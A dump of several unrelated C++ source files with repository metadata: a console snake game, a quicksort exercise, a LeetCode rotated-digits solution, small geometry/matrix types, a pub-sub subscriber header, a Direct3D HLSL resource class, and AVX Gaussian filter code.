else if (player.getPosX() == j && player.getPosY() == i) //if the player location is located at a specific i and j, it will print out "O" to represent the snake's head
//after printing "O", we want to set the boolean to false to make sure we do not print out a unnecessary " "
{
cout << "O";
createWhiteSpace = false;
}
else if (fruit.getPosX() == j && fruit.getPosY() == i) { cout << "F"; createWhiteSpace = false; }
//Same concept as the player
for (int k = 1; k <= player.getBodyCount(); k++) //If the snake has a body, it will show it here
{
//Grab the previous location from the vector x and y
playerBody.setPosX(playerLocationX[playerLocationX.size() - k]);
playerBody.setPosY(playerLocationY[playerLocationY.size() - k]);
if (j == playerBody.getPosX() && i == playerBody.getPosY()) //If i and j match the coords, it will print the body
{
cout << "o";
createWhiteSpace = false;
}
if (player.getPosX() == playerBody.getPosX() && player.getPosY() == playerBody.getPosY()) //If the player ran into their own body
{
gameOver = true;
}
}
if (createWhiteSpace && i > 1 && i < Row && j >= 1 && j <= Column - 1) //create a space if the boolean is true and we are not at a border
{
cout << " ";
if (j == Column - 1) { cout << "*" << endl; }
}
}
}
cout << endl << "Score: " << player.getScore() << endl; //Display the score at the bottom of the screen
}
void Movement()
{
//Every movement is tracked using vectors, we can use these vectors to create a path for the bodies to follow
playerLocationX.push_back(player.getPosX());
playerLocationY.push_back(player.getPosY());
switch (player.getMove())
{
case UP:
player.setPosY(player.getPosY() - 1); //By subtracting 1, we are technically "moving up" the spaces in the terminal
break;
case DOWN:
player.setPosY(player.getPosY() + 1);
break;
case LEFT:
player.setPosX(player.getPosX() - 1);
break;
case RIGHT:
player.setPosX(player.getPosX() + 1);
break;
default:
break;
}
while (_kbhit()) //If it register a key press
{
switch (_getch())//If a key is pressed, it will grab the character
{
case 'w':
player.setMove(UP);
break;
case 's':
player.setMove(DOWN);
break;
case 'a':
player.setMove(LEFT);
break;
case 'd':
player.setMove(RIGHT);
break;
default:
break;
}
}
}
void Interaction() //How the game will react if there is any interaction/collision between the objects
{
if (player.getPosX() == Column || player.getPosY() == Row || player.getPosX() == 0 || player.getPosY() == 0) //If the player collide with the border
{
cout << endl << "Game Over" << endl;
gameOver = true; //End the main loop
}
if (player.getPosX() == fruit.getPosX() && player.getPosY() == fruit.getPosY()) //If the player collect the fruit
{
player.setScore(player.getScore() + 10); //Add 10 to the score
player.setBodyCount(player.getBodyCount() + 1); //Add 1 snake body to the player
//The Fruit will generate at a random location
fruit.setRandomLocationX();
fruit.setRandomLocationY();
}
}
int main()
{
while (!gameOver)
{
Display();
Movement();
Interaction();
}
system("Pause");
}
| 31.655844 | 180 | 0.501128 | Charptr0 |
86a2bb9524a136785bfefcef74e9bbd4aa6092eb | 1,191 | cpp | C++ | Object Oriented Algo Design in C++/practice/quicksort.cpp | aishwaryamallampati/BTech-IIITDM | 4cfc25a4e6e066b848361cb92770cad3260c7d48 | [
"MIT"
] | null | null | null | Object Oriented Algo Design in C++/practice/quicksort.cpp | aishwaryamallampati/BTech-IIITDM | 4cfc25a4e6e066b848361cb92770cad3260c7d48 | [
"MIT"
] | null | null | null | Object Oriented Algo Design in C++/practice/quicksort.cpp | aishwaryamallampati/BTech-IIITDM | 4cfc25a4e6e066b848361cb92770cad3260c7d48 | [
"MIT"
] | null | null | null | /*sorting the given elements using quick sort*/
#include<iostream>
using namespace std;
class array
{
public:
array();
int a[1000];
int size;
};
array::array()
{
int index1;
cout<<"\nenter the size of the array:";
cin>>size;
cout<<"\nenter the elements of the array: ";
for(index1=1;index1<=size;index1++)
cin>>a[index1];
}
class quicksorter
{
public:
quicksorter();
void quicksort(int a[1000],int p,int r);
int partition(int a[1000],int p,int r);
};
quicksorter::quicksorter()
{
array array1;
cout<<"\nthe partitions are: "<<endl;
quicksort(array1.a,1,array1.size);
cout<<"the sorted array:"<<endl;
for(int i=1;i<=array1.size;i++)
cout<<array1.a[i]<<" ";
cout<<endl;
}
void quicksorter::quicksort(int a[1000],int p,int r)
{
int q;
if(p<r)
{
q=partition(a,p,r);
quicksort(a,p,q-1);
quicksort(a,q+1,r);
}
}
int quicksorter::partition(int a[1000],int p,int r)
{
int x,i,j,k,temp;
x=a[r];
i=p-1;
for(j=p;j<r;j++)
{
if(a[j]<=x)
{
i=i+1;
temp=a[i];
a[i]=a[j];
a[j]=temp;
}
}
temp=a[i+1];
a[i+1]=a[r];
a[r]=temp;
for(k=p;k<=r;k++)
cout<<a[k]<<" ";
cout<<endl;
return i+1;
}
main()
{
quicksorter quicksorter1;
return 0;
}
| 14.178571 | 52 | 0.603694 | aishwaryamallampati |
86a80fe832d5b2bed2ed0aafa4455e14985a34c0 | 1,216 | cpp | C++ | leetcode-cpp/RotatedDigits_788.cpp | emacslisp/cpp | 8230f81117d6f64adaa1696b0943cdb47505335a | [
"Apache-2.0"
] | null | null | null | leetcode-cpp/RotatedDigits_788.cpp | emacslisp/cpp | 8230f81117d6f64adaa1696b0943cdb47505335a | [
"Apache-2.0"
] | null | null | null | leetcode-cpp/RotatedDigits_788.cpp | emacslisp/cpp | 8230f81117d6f64adaa1696b0943cdb47505335a | [
"Apache-2.0"
] | null | null | null | #include <vector>
#include <iostream>
#include <climits>
#include <algorithm>
#include <queue>
#include <stack>
#include <map>
#include <math.h>
using namespace std;
#define ll long long
class Solution {
public:
int rotated(int N, map<int, int> m) {
int p = N;
int result = 0;
int offset = 1;
while(p>0) {
int t = p%10;
if(m.count(t) == 0) {
return -1;
} else {
t = m[t];
result += t*offset;
}
p = p/10;
offset *=10;
}
return result;
}
int rotatedDigits(int N) {
map<int, int> m;
m[0] = 0;
m[1] = 1;
m[8] = 8;
m[2] = 5;
m[5] = 2;
m[6] = 9;
m[9] = 6;
int counter = 0;
for(int i=1;i<=N;i++) {
int t = rotated(i,m);
if(t == -1) continue;
if(t == i) continue;
counter++;
}
return counter;
}
};
int main() {
Solution s;
vector<int> c
{
4,5,6,7,0,2,1,3
};
string str = "codeleet";
int n = 10000;
int result = s.rotatedDigits(n);
cout<<result<<endl;
} | 19 | 41 | 0.417763 | emacslisp |
86a8d478527de8169fd08b97d30112281eeb3c16 | 4,146 | hpp | C++ | SpriteExtractorLib/Types.hpp | jowie94/SpriteExtractor | 96934f241e33229638beb8914ac68e866696433b | [
"MIT"
] | 1 | 2019-01-15T15:14:47.000Z | 2019-01-15T15:14:47.000Z | SpriteExtractorLib/Types.hpp | jowie94/SpriteExtractor | 96934f241e33229638beb8914ac68e866696433b | [
"MIT"
] | null | null | null | SpriteExtractorLib/Types.hpp | jowie94/SpriteExtractor | 96934f241e33229638beb8914ac68e866696433b | [
"MIT"
] | null | null | null | #pragma once
#include <memory>
#include <utility>
#include <cassert>
#include <vector>
template<class T>
struct Vec2
{
Vec2()
{}
Vec2(T x_, T y_)
: X(x_)
, Y(y_)
{
}
T X = 0;
T Y = 0;
};
struct Color final
{
using channel_t = unsigned char;
Color()
{}
Color(channel_t r, channel_t g, channel_t b, channel_t a = 255)
: R(r)
, G(g)
, B(b)
, A(a)
{}
void ToFloat(float colors[4]) const
{
static float sc = 1.0f / 255.0f;
colors[0] = R * sc;
colors[1] = G * sc;
colors[2] = B * sc;
colors[3] = A * sc;
}
Color& operator=(const float colors[4])
{
R = static_cast<channel_t>(colors[0] * 255.0f);
G = static_cast<channel_t>(colors[1] * 255.0f);
B = static_cast<channel_t>(colors[2] * 255.0f);
A = static_cast<channel_t>(colors[3] * 255.0f);
return *this;
}
bool operator==(const Color& other) const
{
return R == other.R && G == other.G && B == other.B && A == other.A;
}
bool operator!=(const Color& other) const
{
return !operator==(other);
}
channel_t R = 0;
channel_t G = 0;
channel_t B = 0;
channel_t A = 255;
};
using ImageSize = Vec2<unsigned int>;
struct ITextureResource
{
unsigned int ResourceId = 0;
ImageSize Size;
};
struct BBox
{
using bbox_t = int;
bool ContainsPoint(bbox_t x, bbox_t y) const
{
bbox_t mX = X + Width;
bbox_t mY = Y + Height;
return X <= x && x <= mX && Y <= y && y <= mY;
}
template <typename Scalar>
BBox operator*(Scalar scalar) const
{
static_assert(std::is_arithmetic<Scalar>::value, "Scalar must be arithmetic");
BBox newBox;
newBox.X = static_cast<bbox_t>(X * scalar);
newBox.Y = static_cast<bbox_t>(Y * scalar);
newBox.Width = static_cast<bbox_t>(Width * scalar);
newBox.Height = static_cast<bbox_t>(Height * scalar);
return newBox;
}
bbox_t X = 0;
bbox_t Y = 0;
bbox_t Width = 0;
bbox_t Height = 0;
};
using ImageSize = Vec2<unsigned int>;
class IImage
{
public:
virtual ~IImage() = default;
virtual ImageSize Size() const = 0;
virtual std::unique_ptr<ITextureResource> GetTextureResource() const = 0;
virtual bool Save(const char* filename) const = 0;
virtual Color GetPixel(size_t x, size_t y) const = 0;
};
template<typename T>
class Matrix
{
public:
using MatrixSize = std::pair<size_t, size_t>;
Matrix(const MatrixSize& size_)
: _size(size_)
, _data(new T[_size.first * _size.second])
{
assert(_size.first != 0 || _size.second != 0 && "Invalid size");
}
Matrix(const MatrixSize& size_, const T& initialValue)
: _size(size_)
, _data(new T[_size.first * _size.second])
{
assert(_size.first != 0 || _size.second != 0 && "Invalid size");
for (size_t i = 0; i < _size.first * _size.second; ++i)
{
_data[i] = initialValue;
}
}
Matrix(const Matrix& other)
: _size(other._size)
, _data(new T[_size.first * _size.second])
{
memcpy(_data, other._data, _size.first * _size.second);
}
Matrix(Matrix&& other) noexcept
: _size(other._size)
, _data(other._data)
{
other._size = std::make_pair(0, 0);
other._data = nullptr;
}
~Matrix()
{
delete[] _data;
}
const T& At(size_t i, size_t j) const
{
assert(0 <= i && i < _size.first && "Invalid i coordinate (column)");
assert(0 <= j && j < _size.second && "Invalid j coordinate (row)");
return _data[i * _size.second + j];
}
T& At(size_t i, size_t j)
{
assert(0 <= i && i < _size.first && "Invalid i coordinate (column)");
assert(0 <= j && j < _size.second && "Invalid j coordinate (row)");
return _data[i * _size.second + j];
}
const MatrixSize& Size() const
{
return _size;
}
private:
MatrixSize _size;
T* _data;
};
| 21.59375 | 86 | 0.548722 | jowie94 |
86aa25e8edbf2c875064fc71c27b9ffc3cdf6447 | 3,742 | hpp | C++ | include/vdds/sub.hpp | maxk-org/vdds | 015473498661cb8f06868cce2dc4519a6452b861 | [
"BSD-3-Clause"
] | null | null | null | include/vdds/sub.hpp | maxk-org/vdds | 015473498661cb8f06868cce2dc4519a6452b861 | [
"BSD-3-Clause"
] | null | null | null | include/vdds/sub.hpp | maxk-org/vdds | 015473498661cb8f06868cce2dc4519a6452b861 | [
"BSD-3-Clause"
] | null | null | null | // Copyright (c) 2021, Qualcomm Innovation Center, Inc. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
// SPDX-License-Identifier: BSD-3-Clause
#ifndef VDDS_SUB_HPP
#define VDDS_SUB_HPP
#include <stdint.h>
#include <map>
#include <string>
#include <vector>
#include <mutex>
#include <atomic>
#include <stdexcept>
#include <hogl/area.hpp>
#include <hogl/post.hpp>
#include "domain.hpp"
#include "topic.hpp"
namespace vdds {
/// Typesafe subscriber.
/// This is the main interface for subscribing to topics.
/// It takes care of all ops: create topic, subscribe and pop data.
/// @param T data type
template<typename T>
class sub {
private:
vdds::sub_queue* _queue; ///< subscriber queue pointer
vdds::topic* _topic; ///< topic pointer
public:
/// Create subscriber.
/// Creates topic and subscribes to it.
/// @param[in] vd reference to the domain
/// @param[in] name subscriber name
/// @param[in] topic_name topic name name
/// @param[in] qsize size of the queue
/// @param[in] ntfr notifier pointer (null, cv, poll)
explicit sub(domain& vd, const std::string& name, const std::string& topic_name,
size_t qsize = 16, notifier* ntfr = nullptr)
{
static_assert(sizeof(T) == sizeof(data), "data type size missmatch");
_topic = vd.create_topic(topic_name, T::data_type);
if (!_topic)
throw std::logic_error("failed to create topic");
_queue = _topic->subscribe(name, qsize, ntfr);
}
/// Delete subscriber.
/// Unsubscribes from the topic. The queue is flushed and removed.
~sub()
{
_topic->unsubscribe(_queue);
}
/// No copy
sub( const sub& ) = delete;
sub& operator=( const sub& ) = delete;
/// Get name and data type
const std::string& name() const { return _queue->name(); }
const std::string& data_type() const { return _queue->data_type(); }
/// Get queue and topic pointers
vdds::sub_queue* queue() { return _queue; }
vdds::topic* topic() { return _topic; }
/// Pop data from fifo
/// @param[out] d ref to data
/// @return false if queue is empty, true otherwise
bool pop(T& d) { return _topic->pop(_queue, static_cast<data&>(d)); }
/// Flush all queued data
void flush()
{
T d;
while (pop(d));
}
};
} // namespace vdds
#endif // VDDS_SUB_HPP
| 32.258621 | 81 | 0.711919 | maxk-org |
86afe33ce82c15b3d8632fac1d60c0ab3eab302a | 344 | cc | C++ | solutions/csacademy/adjacent-vowels.cc | zwliew/ctci | 871f4fc957be96c6d0749d205549b7b35dc53d9e | [
"MIT"
] | 4 | 2020-11-07T14:38:02.000Z | 2022-01-03T19:02:36.000Z | solutions/csacademy/adjacent-vowels.cc | zwliew/ctci | 871f4fc957be96c6d0749d205549b7b35dc53d9e | [
"MIT"
] | 1 | 2019-04-17T06:55:14.000Z | 2019-04-17T06:55:14.000Z | solutions/csacademy/adjacent-vowels.cc | zwliew/ctci | 871f4fc957be96c6d0749d205549b7b35dc53d9e | [
"MIT"
] | null | null | null | #include <iostream>
#include <unordered_set>
using namespace std;
int main() {
char prev = 0;
int n;
cin >> n;
int ans = 0;
unordered_set<char> vowels = {'a', 'e', 'i', 'o', 'u'};
while (n--) {
char cur;
cin >> cur;
if (vowels.count(cur) && vowels.count(prev)) {
++ans;
}
prev = cur;
}
cout << ans;
} | 16.380952 | 57 | 0.517442 | zwliew |
86b02c3b1a0c490e1b95f3829daf0b2048449625 | 1,934 | cpp | C++ | Common/util/l4util.cpp | sunzhuoshi/SteamVRDemoHelper | 536280f1e5df5e4bdb85fca3460353e0f19cf43d | [
"MIT"
] | null | null | null | Common/util/l4util.cpp | sunzhuoshi/SteamVRDemoHelper | 536280f1e5df5e4bdb85fca3460353e0f19cf43d | [
"MIT"
] | null | null | null | Common/util/l4util.cpp | sunzhuoshi/SteamVRDemoHelper | 536280f1e5df5e4bdb85fca3460353e0f19cf43d | [
"MIT"
] | null | null | null | #include "stdafx.h"
#include "l4util.h"
#include <sstream>
#include <minwindef.h>
#include <Windows.h>
#include <Psapi.h>
namespace l4util {
std::string getCurrentExePath()
{
char buf[MAX_PATH] = "", *tmp;
if (GetModuleFileNameA(NULL, buf, MAX_PATH))
{
tmp = strrchr(buf, '\\');
if (tmp) {
*tmp = '\0';
}
}
return std::string(buf);
}
std::string getFileFullPath(const std::string &dllFileName)
{
std::ostringstream result;
result << getCurrentExePath().c_str() << "\\" << dllFileName.c_str();
return result.str();
}
std::string getCurrentProcessName()
{
char buf[MAX_PATH] = "", *tmp = NULL;
std::string result;
if (GetModuleFileNameA(NULL, buf, MAX_PATH))
{
tmp = strrchr(buf, '\\');
if (tmp) {
tmp++;
}
}
if (tmp) {
result = tmp;
}
return result;
}
std::string getProcessNameWithWindow(HWND wnd)
{
DWORD processId;
GetWindowThreadProcessId(wnd, &processId);
return getProcessNameWithProcessId(processId);
}
std::string getProcessNameWithProcessId(DWORD processId)
{
char buf[MAX_PATH] = "", *p = nullptr;
HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processId);
if (processHandle) {
GetProcessImageFileName(processHandle, buf, sizeof(buf));
p = strrchr(buf, '\\');
if (p) {
p++;
}
CloseHandle(processHandle);
}
else {
int i = 0;
i++;
}
if (p) {
return p;
}
else {
return "";
}
}
std::string loadString(UINT id)
{
std::string result;
char buf[MAX_PATH]; // just be lazy to use MAX_PATH
HMODULE instance = GetModuleHandle(NULL);
if (instance) {
if (0 < LoadStringA(instance, id, buf, MAX_PATH)) {
result = std::string(buf);
}
}
return result;
}
} | 20.145833 | 88 | 0.56515 | sunzhuoshi |
86b23086dbf47aa4c690d23d4a6be5ca5e40d20a | 4,064 | cpp | C++ | GTEngine/Source/Graphics/DX11/GteHLSLResource.cpp | pmjoniak/GeometricTools | ae6e933f9ab3a5474d830700ea8d9445cc78ef4b | [
"BSL-1.0"
] | 4 | 2019-03-03T18:13:30.000Z | 2020-08-25T18:15:30.000Z | GTEngine/Source/Graphics/DX11/GteHLSLResource.cpp | pmjoniak/GeometricTools | ae6e933f9ab3a5474d830700ea8d9445cc78ef4b | [
"BSL-1.0"
] | null | null | null | GTEngine/Source/Graphics/DX11/GteHLSLResource.cpp | pmjoniak/GeometricTools | ae6e933f9ab3a5474d830700ea8d9445cc78ef4b | [
"BSL-1.0"
] | 6 | 2016-07-15T11:04:52.000Z | 2021-12-07T03:11:42.000Z | // David Eberly, Geometric Tools, Redmond WA 98052
// Copyright (c) 1998-2018
// Distributed under the Boost Software License, Version 1.0.
// http://www.boost.org/LICENSE_1_0.txt
// http://www.geometrictools.com/License/Boost/LICENSE_1_0.txt
// File Version: 3.0.2 (2017/09/05)
#include <GTEnginePCH.h>
#include <Graphics/DX11/GteHLSLResource.h>
using namespace gte;
HLSLResource::~HLSLResource()
{
}
HLSLResource::HLSLResource(D3D_SHADER_INPUT_BIND_DESC const& desc,
unsigned int numBytes)
:
mNumBytes(numBytes)
{
mDesc.name = std::string(desc.Name);
mDesc.bindPoint = desc.BindPoint;
mDesc.bindCount = desc.BindCount;
mDesc.type = desc.Type;
mDesc.flags = desc.uFlags;
mDesc.returnType = desc.ReturnType;
mDesc.dimension = desc.Dimension;
mDesc.numSamples = desc.NumSamples;
}
HLSLResource::HLSLResource(D3D_SHADER_INPUT_BIND_DESC const& desc,
unsigned int index, unsigned int numBytes)
:
mNumBytes(numBytes)
{
mDesc.name = std::string(desc.Name) + "[" + std::to_string(index) + "]";
mDesc.bindPoint = desc.BindPoint + index;
mDesc.bindCount = 1;
mDesc.type = desc.Type;
mDesc.flags = desc.uFlags;
mDesc.returnType = desc.ReturnType;
mDesc.dimension = desc.Dimension;
mDesc.numSamples = desc.NumSamples;
}
std::string const& HLSLResource::GetName() const
{
return mDesc.name;
}
D3D_SHADER_INPUT_TYPE HLSLResource::GetType() const
{
return mDesc.type;
}
unsigned int HLSLResource::GetBindPoint() const
{
return mDesc.bindPoint;
}
unsigned int HLSLResource::GetBindCount() const
{
return mDesc.bindCount;
}
unsigned int HLSLResource::GetFlags() const
{
return mDesc.flags;
}
D3D_RESOURCE_RETURN_TYPE HLSLResource::GetReturnType() const
{
return mDesc.returnType;
}
D3D_SRV_DIMENSION HLSLResource::GetDimension() const
{
return mDesc.dimension;
}
unsigned int HLSLResource::GetNumSamples() const
{
return mDesc.numSamples;
}
unsigned int HLSLResource::GetNumBytes() const
{
return mNumBytes;
}
void HLSLResource::Print(std::ofstream& output) const
{
output << "name = " << mDesc.name << std::endl;
output << "shader input type = " << msSIType[mDesc.type] << std::endl;
output << "bind point = " << mDesc.bindPoint << std::endl;
output << "bind count = " << mDesc.bindCount << std::endl;
output << "flags = " << mDesc.flags << std::endl;
output << "return type = " << msReturnType[mDesc.returnType] << std::endl;
output << "dimension = " << msSRVDimension[mDesc.dimension] << std::endl;
if (mDesc.numSamples == 0xFFFFFFFFu)
{
output << "samples = -1" << std::endl;
}
else
{
output << "samples = " << mDesc.numSamples << std::endl;
}
output << "number of bytes = " << mNumBytes << std::endl;
}
std::string const HLSLResource::msSIType[] =
{
"D3D_SIT_CBUFFER",
"D3D_SIT_TBUFFER",
"D3D_SIT_TEXTURE",
"D3D_SIT_SAMPLER",
"D3D_SIT_UAV_RWTYPED",
"D3D_SIT_STRUCTURED",
"D3D_SIT_UAV_RWSTRUCTURED",
"D3D_SIT_BYTEADDRESS",
"D3D_SIT_UAV_RWBYTEADDRESS",
"D3D_SIT_UAV_APPEND_STRUCTURED",
"D3D_SIT_UAV_CONSUME_STRUCTURED",
"D3D_SIT_UAV_RWSTRUCTURED_WITH_COUNTER"
};
std::string const HLSLResource::msReturnType[] =
{
"none", // There is no D3D_RESOURCE_RETURN_TYPE for value 0.
"D3D_RETURN_TYPE_UNORM",
"D3D_RETURN_TYPE_SNORM",
"D3D_RETURN_TYPE_SINT",
"D3D_RETURN_TYPE_UINT",
"D3D_RETURN_TYPE_FLOAT",
"D3D_RETURN_TYPE_MIXED",
"D3D_RETURN_TYPE_DOUBLE",
"D3D_RETURN_TYPE_CONTINUED"
};
std::string const HLSLResource::msSRVDimension[] =
{
"D3D_SRV_DIMENSION_UNKNOWN",
"D3D_SRV_DIMENSION_BUFFER",
"D3D_SRV_DIMENSION_TEXTURE1D",
"D3D_SRV_DIMENSION_TEXTURE1DARRAY",
"D3D_SRV_DIMENSION_TEXTURE2D",
"D3D_SRV_DIMENSION_TEXTURE2DARRAY",
"D3D_SRV_DIMENSION_TEXTURE2DMS",
"D3D_SRV_DIMENSION_TEXTURE2DMSARRAY",
"D3D_SRV_DIMENSION_TEXTURE3D",
"D3D_SRV_DIMENSION_TEXTURECUBE",
"D3D_SRV_DIMENSION_TEXTURECUBEARRAY",
"D3D_SRV_DIMENSION_BUFFEREX"
};
| 25.88535 | 78 | 0.697835 | pmjoniak |
86b6c31525dac0f661a90f9c8635444d2b501cbf | 22,309 | cpp | C++ | SpatialFilter/GaussianFilterAM.cpp | norishigefukushima/OpenCP | 63090131ec975e834f85b04e84ec29b2893845b2 | [
"BSD-3-Clause"
] | 137 | 2015-03-27T07:11:19.000Z | 2022-03-30T05:58:22.000Z | SpatialFilter/GaussianFilterAM.cpp | Pandinosaurus/OpenCP | a5234ed531c610d7944fa14d42f7320442ea34a1 | [
"BSD-3-Clause"
] | 2 | 2016-05-18T06:33:16.000Z | 2016-07-11T17:39:17.000Z | SpatialFilter/GaussianFilterAM.cpp | Pandinosaurus/OpenCP | a5234ed531c610d7944fa14d42f7320442ea34a1 | [
"BSD-3-Clause"
] | 43 | 2015-02-20T15:34:25.000Z | 2022-01-27T14:59:37.000Z | #include "stdafx.h"
using namespace std;
using namespace cv;
namespace cp
{
#pragma region GaussianFilterAM_Naive
template<typename Type>
GaussianFilterAM_Naive<Type>::GaussianFilterAM_Naive(cv::Size imgSize, Type sigma, int order)
: SpatialFilterBase(imgSize, cp::typeToCVDepth<Type>()), order(order), sigma(sigma), tol(Type(1.0e-6))
{
const double q = sigma * (1.0 + (0.3165 * order + 0.5695) / ((order + 0.7818) * (order + 0.7818)));
const double lambda = (q * q) / (2.0 * order);
const double dnu = (1.0 + 2.0 * lambda - sqrt(1.0 + 4.0 * lambda)) / (2.0 * lambda);
nu = (Type)dnu;
r_init = (int)ceil(log((1.0 - nu) * tol) / log(nu));
scale = (Type)(pow(dnu / lambda, order));
h = new Type[r_init];
h[0] = (Type)1.0;
for (int i = 1; i < r_init; ++i)
{
h[i] = nu * h[i - 1];
}
}
template<typename Type>
GaussianFilterAM_Naive<Type>::~GaussianFilterAM_Naive()
{
delete[] h;
}
template<typename Type>
void GaussianFilterAM_Naive<Type>::horizontalbody(cv::Mat& img)
{
const int width = imgSize.width;
const int height = imgSize.height;
Type* imgPtr;
Type accum;
//forward direction
imgPtr = img.ptr<Type>();
for (int y = 0; y < height; ++y, imgPtr += width)
{
//boundary processing
accum = imgPtr[0];
for (int m = 1; m < r_init; ++m)
{
accum += h[m] * imgPtr[ref_lborder(-m, borderType)];
}
imgPtr[0] = accum;
//IIR filtering
for (int x = 1; x < width; ++x)
{
imgPtr[x] += nu * imgPtr[x - 1];
}
}
//reverse direction
imgPtr = img.ptr<Type>();
for (int y = 0; y < height; ++y, imgPtr += width)
{
//boundary processing
imgPtr[width - 1] /= ((Type)1.0 - nu);
//IIR filtering
for (int x = width - 2; 0 <= x; --x)
{
imgPtr[x] += nu * imgPtr[x + 1];
}
}
};
template<typename Type>
void GaussianFilterAM_Naive<Type>::verticalbody(Mat& img)
{
const int width = imgSize.width;
const int height = imgSize.height;
Type* imgPtr;
Type* prePtr;
Type accum;
//forward direction
imgPtr = img.ptr<Type>();
for (int x = 0; x < width; ++x)
{
//boundary processing
accum = imgPtr[x];
for (int m = 1; m < r_init; ++m)
{
accum += h[m] * *(imgPtr + ref_tborder(-m, width, borderType) + x);
}
imgPtr[x] = accum;
}
//IIR filtering
prePtr = imgPtr;
imgPtr += width;
for (int y = 1; y < height; ++y, prePtr = imgPtr, imgPtr += width)
{
for (int x = 0; x < width; ++x)
{
imgPtr[x] += nu * prePtr[x];
}
}
//reverse direction
//boundary processing
imgPtr = img.ptr<Type>(height - 1);
for (int x = 0; x < width; ++x)
{
imgPtr[x] /= ((Type)1.0 - nu);
}
//IIR filtering
prePtr = imgPtr;
imgPtr -= width;
for (int y = height - 2; 0 <= y; --y, prePtr = imgPtr, imgPtr -= width)
{
for (int x = 0; x < width; ++x)
{
imgPtr[x] += nu * prePtr[x];
}
}
};
template<class Type>
void GaussianFilterAM_Naive<Type>::body(const cv::Mat& src, cv::Mat& dst, const int border)
{
if (src.depth() == depth)
multiply(src, scale, dst);
else
src.convertTo(dst, depth, scale);
for (int k = 0; k < order; ++k)
{
horizontalbody(dst);
}
dst = scale * dst;
for (int k = 0; k < order; ++k)
{
verticalbody(dst);
}
}
template class GaussianFilterAM_Naive<float>;
template class GaussianFilterAM_Naive<double>;
#pragma endregion
#pragma region GaussianFilterAM_AVX_32F
void GaussianFilterAM_AVX_32F::allocBuffer()
{
const double q = sigma * (1.0 + (0.3165 * gf_order + 0.5695) / ((gf_order + 0.7818) * (gf_order + 0.7818)));
const double lambda = (q * q) / (2.0 * gf_order);
const double dnu = ((1.0 + 2.0 * lambda - sqrt(1.0 + 4.0 * lambda)) / (2.0 * lambda));
this->nu = (float)dnu;
this->r_init = (int)ceil(log((1.0 - dnu) * tol) / log(dnu));
this->scale = (float)(pow(dnu / lambda, gf_order));
this->norm = float(1.0 - (double)nu);
delete[] h;
this->h = new float[r_init];
h[0] = 1.f;
for (int i = 1; i < r_init; ++i)
{
h[i] = nu * h[i - 1];
}
}
GaussianFilterAM_AVX_32F::GaussianFilterAM_AVX_32F(cv::Size imgSize, float sigma, int order)
: SpatialFilterBase(imgSize, CV_32F)
{
this->gf_order = order;
this->sigma = sigma;
allocBuffer();
}
GaussianFilterAM_AVX_32F::GaussianFilterAM_AVX_32F(const int dest_depth)
{
this->dest_depth = dest_depth;
this->depth = CV_32F;
}
GaussianFilterAM_AVX_32F::~GaussianFilterAM_AVX_32F()
{
delete[] h;
}
//gather_vload->store transpose unroll 8
void GaussianFilterAM_AVX_32F::horizontalFilterVLoadGatherTransposeStore(cv::Mat& img)
{
const int width = imgSize.width;
const __m256i mm_offset = _mm256_set_epi32(7 * width, 6 * width, 5 * width, 4 * width, 3 * width, 2 * width, width, 0);
__m256 patch[8];
__m256 patch_t[8];
const int height = imgSize.height;
float* img_ptr;
float* dst;
__m256 input;
int refx;
//forward direction
for (int y = 0; y < height; y += 8)
{
//boundary processing
img_ptr = img.ptr<float>(y);
dst = img_ptr;
patch[0] = _mm256_i32gather_ps(img_ptr, mm_offset, sizeof(float));
for (int m = 1; m < r_init; ++m)
{
refx = ref_lborder(-m, borderType);
input = _mm256_i32gather_ps(img_ptr + refx, mm_offset, sizeof(float));
//patch[0] = _mm256_add_ps(patch[0], _mm256_mul_ps(_mm256_set1_ps(h[m]), input));
patch[0] = _mm256_fmadd_ps(_mm256_set1_ps(h[m]), input, patch[0]);
}
++img_ptr;
for (int i = 1; i < 8; ++i)
{
input = _mm256_i32gather_ps(img_ptr, mm_offset, sizeof(float));
//patch[i] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[i - 1]));
patch[i] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[i - 1], input);
++img_ptr;
}
_mm256_transpose8_ps(patch, patch_t);
_mm256_storepatch_ps(dst, patch_t, width);
dst += 8;
//IIR filtering
for (int x = 8; x < width; x += 8)
{
input = _mm256_i32gather_ps(img_ptr, mm_offset, sizeof(float));
//patch[0] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[7]));
patch[0] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[7], input);
++img_ptr;
for (int i = 1; i < 8; ++i)
{
input = _mm256_i32gather_ps(img_ptr, mm_offset, sizeof(float));
//patch[i] = _mm256_add_ps(input, _mm256_mul_ps(_mm256_set1_ps(nu), patch[i - 1]));
patch[i] = _mm256_fmadd_ps(_mm256_set1_ps(nu), patch[i - 1], input);
++img_ptr;
}
_mm256_transpose8_ps(patch, patch_t);
_mm256_storepatch_ps(dst, patch_t, width);
dst += 8;
}
}
